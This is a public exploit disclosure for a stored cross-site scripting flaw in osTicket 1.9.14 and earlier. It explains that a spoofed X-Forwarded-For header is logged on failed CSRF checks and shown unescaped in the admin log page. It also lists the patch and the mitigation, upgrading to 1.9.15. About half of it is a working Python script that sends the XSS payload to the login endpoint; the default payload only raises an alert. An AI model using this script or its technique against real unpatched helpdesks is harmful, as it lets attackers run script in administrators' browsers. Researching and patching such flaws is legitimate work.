# Exploit Title: Osticket 1.9.14 and below (X-Forwarded-For) Stored XSS. # Date: 24-11-2016 # Exploit Author: Joaquin Ramirez Martinez [ i0-SEC ] # Software Link: http://osticket.com/ # Vendor: Osticket """ ============== DESCRIPTION ============== **osTicket** is a widely-used open source support ticket system. It seamlessly integrates inquiries created via email, phone and web-based forms into a simple easy-to-use multi-user web interface. Manage, organize and archive all your support requests and responses in one place while providing your customers with accountability and responsiveness they deserve. (copy of Osticket - README.md) ======================= VULNERABILITY DETAILS ======================= file `osticket/upload/bootstrap.php` contains this snippet of code (line 337-340): ... if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) // Take the left-most item for X-Forwarded-For $_SERVER['REMOTE_ADDR'] = trim(array_pop( explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']))); .... The $_SERVER['REMOTE_ADDR'] value gets overrided with the `X-Forwarded-For` header value, at this point, it is not a vulnerability but... file `osticket/upload/include/class.osticket.php` line 309-315 : ... //Save log based on system log level settings. $sql='INSERT INTO '.SYSLOG_TABLE.' SET created=NOW(), updated=NOW() ' .',title='.db_input(Format::sanitize($title, true)) .',log_type='.db_input($loglevel[$level]) .',log='.db_input(Format::sanitize($message, false)) .',ip_address='.db_input($_SERVER['REMOTE_ADDR']); db_query($sql, false); .... Everytime when a csrf attack is dettected (checking `X_CSRFTOKEN` header or the post parameter `__CSRFToken__`), Osticket saves into database the user controled value $_SERVER['REMOTE_ADDR'] even if it has an invalid format. Finally the XSS is triggered when a user who can see the system logs like an administrator, visits the /scp/logs.php URI. It happens because osticket does not encode the output of the data stored into the database. The code responsible for lanching the XSS is located in `osticket/upload/include/staff/syslogs.inc-php` line 142... ... <td><?php echo $row['ip_address']; ?></td> ... So... An attacker can make an HTTP request with a header `X-Forwarded-For` containing the XSS payload with an invalid CSRF token to the login interface waiting for an administrator to view the logs and trigger the XSS. ================ DEMONSTRATION ================ Demo video: https://www.youtube.com/watch?v=lx_WlL89F70 The demo also show a low severity XSS vulnerability in the helpdesk name/title of osticket. ================ REFERENCES ================ https://github.com/osTicket/osTicket/releases https://github.com/osTicket/osTicket/releases/tag/v1.9.15 X-Forwarded-For XSS: https://github.com/osTicket/osTicket/pull/3439 https://github.com/osTicket/osTicket/commit/4396f91cdc990b7da598a7562eb634b89314b631 heldeskt name/tile XSS: https://github.com/osTicket/osTicket/pull/3439 https://github.com/osTicket/osTicket/commit/2fb47bd84d1905b49beab05fcf3f01b00a171c37 ================ MITIGATIONS ================ update to version 1.9.15 or later ================ CREDITS ================ Vulnerability discovered by Joaquin Ramirez Martinez https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q/videos https://twitter.com/rammarj ================ TIMELINE ================ 13-07-2016 - Vulnerability found 19-09-2016 - Osticket knew the flaws 01-11-2016 - Osticket patches vulnerabilities (v1.9.15 released) 24-11-2016 - Public disclosure. """ import urllib import urllib2 from optparse import OptionParser options = OptionParser(usage='python %prog [options]', description='Stored XSS') options.add_option('-t', '--target', type='string', default='http://localhost', help='(required) example: http://localhost') options.add_option('-p', '--path', type='string', default='/', help='osticket path. Default: /') options.add_option('-x', '--payload', type='string', default='<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>' , help='xss payload. Default: "<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>"') banner = """ ====================================================== OSTICKET "The most popular ticketing system in the world" Stored XSS by i0-sec (Joaquin R. M.) ====================================================== """ def main(): opts,args = options.parse_args() print(banner) server = opts.target path = opts.path body = urllib.urlencode({"__CSRFToken__":"invalid", "do":"scplogin", "userid":"invalid", "passwd":"invalid", "submit":""}) headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36", "Content-type": "application/x-www-form-urlencoded", "X-Forwarded-For": opts.payload} url = server+path+"/scp/login.php" #default login interface URI for OSTICKET print('[+] Connecting to '+server+path) req = urllib2.Request(url, body, headers) try: print('[+] Sending payload... ') response = urllib2.urlopen(req) html = response.read() except Exception, e: pass print '[+] Payload sent.' print '[+] Completed.\n' if __name__ == '__main__': main()